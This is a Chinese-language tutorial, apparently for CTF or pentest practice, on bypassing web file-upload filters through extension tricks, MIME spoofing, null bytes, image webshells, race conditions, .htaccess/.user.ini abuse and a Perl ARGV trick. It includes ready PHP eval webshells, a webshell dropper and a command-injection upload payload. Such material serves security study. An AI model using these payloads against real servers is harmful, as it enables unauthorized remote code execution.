目录
上传文件一般过滤方式
客服端校验
服务端校验
黑白名单机制
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
2.黑名单绕过
1)命名规则绕过
2)大小写绕过
3)末尾空格绕过
4)末尾“.”绕过
5)文件末尾添加::$DATA绕过
6)双写绕过
3.白名单绕过
1)00截断(%00)绕过
2)文件头检测绕过
3)图片二次渲染绕过
4)条件竞争
特殊文件上传漏洞绕过
.htaccess绕过
fastcgi的.user.ini绕过
上传文件一般过滤方式
客服端校验
- 使用JavaScript校验
服务端校验
- 检查Content-Type (内容类型)
- 检查后缀
- 检查文件头
黑白名单机制
- 黑名单:禁用上传的类型
- 白名单:只允许上传指定类型
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
文件扩展名 | Mime-Type |
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
| application/pdf |
只是检查一下文件的上传格式,mime校验
使用burp suite抓包改包就行
2.黑名单绕过
1)命名规则绕过
php中,默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。
尝试 .php1~.php9 ,.phps,.htaccess等后缀名。
2)大小写绕过
没有 strtolower()函数,说明不存在大小写过滤,因此可以考虑大小写绕过
比如:.Php、PHp、PHP、pHP、phP、PhP等。
3)末尾空格绕过
Linux:没有trim($file_ext)对首尾去空的函数,则可以在文件尾后面添加一个空格。
比如:'.php'过滤,则不会匹配'.php '结尾的文件,服务器仍然会正常解析。
4)末尾“.”绕过
Linux:没有deldot($file_name)删除文件名末尾的点函数,则可以在文件尾后面添加一个“.”。
比如:对于'.php'过滤,则不会过滤掉'.php.'文件。
5)文件末尾添加::$DATA绕过
在windows上,如果文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。(Windows文件流绕过)
比如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。
6)双写绕过
在过滤一些字符时,有时只会过滤一次,可以写两次绕过。
或某些函数去除“.”和空格只去除一次,可以进行多写几个空格和“.”绕过
比如:.pphphp,从左往右匹配到第一个php时去掉变为.php,达到了绕过的目的
3.白名单绕过
1)00截断(%00)绕过
有些函数,会把字符的ascii码值为0,当做结束符
基于GET的00截断
基于POST的00截断
burp suite抓包改包,如:“1.phpa”,在Hex里改a的ASCII“61”为“00”
2)文件头检测绕过
有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件。
a.可以添加GIF89a
#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47
b.可以制作图片马
准备图片1.png与恶意脚本test.php。
cmd下执行下面代码,即可获取图片马。
copy 1.png/b+test.php test.png
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
copy 1.png/b+test.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
3)图片二次渲染绕过
有的文件上传后,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。
首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。
将渲染后的图片和原图进行比较
找相同处,覆盖字符串,填写一句话木马或者恶意指令
原图片与渲染后的图片这个位置的字符串没有改变,在原图片这个位置替换,然后直接上传即可
4)条件竞争
上传-->保存-->检测-->删除
与删除函数竞争,在删除之前,能访问(执行)上传的文件。
上传的文件是一个能生成木马的文件,
比如文件test.php:<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[muma]);?>');?>
a.用burp suite持续上传文件(test.php)
b.用burp suite持续访问上传的文件(test.php)
c.getshell,连接muma.php
特殊文件上传漏洞绕过
.htaccess绕过
上传.htaccess文件,添加解析AddType application/x-httpd-php .jpg
例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。
fastcgi的.user.ini绕过
.user.ini
GIF89a
auto_prepend_file=1.png
图片
1.png
GIF89a
<?=eval($_REQUEST['pass']); ?>
getshell
http://ip:port/xxx/xxx.php
pass
当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。
因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。
Perl文件上传
ARGV 安全漏洞
文件上传链接上传文件并把文件内容打印出来。猜想后台应该用了param()函数。
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' );while ( <$file> ) { print "$_"; }
}
------WebKitFormBoundaryAhqteWA3ey7NaUBQ
Content-Disposition: form-data; name="file";
Content-Type: text/plainARGV
?/bin/bash%20-c%20ls${IFS}/|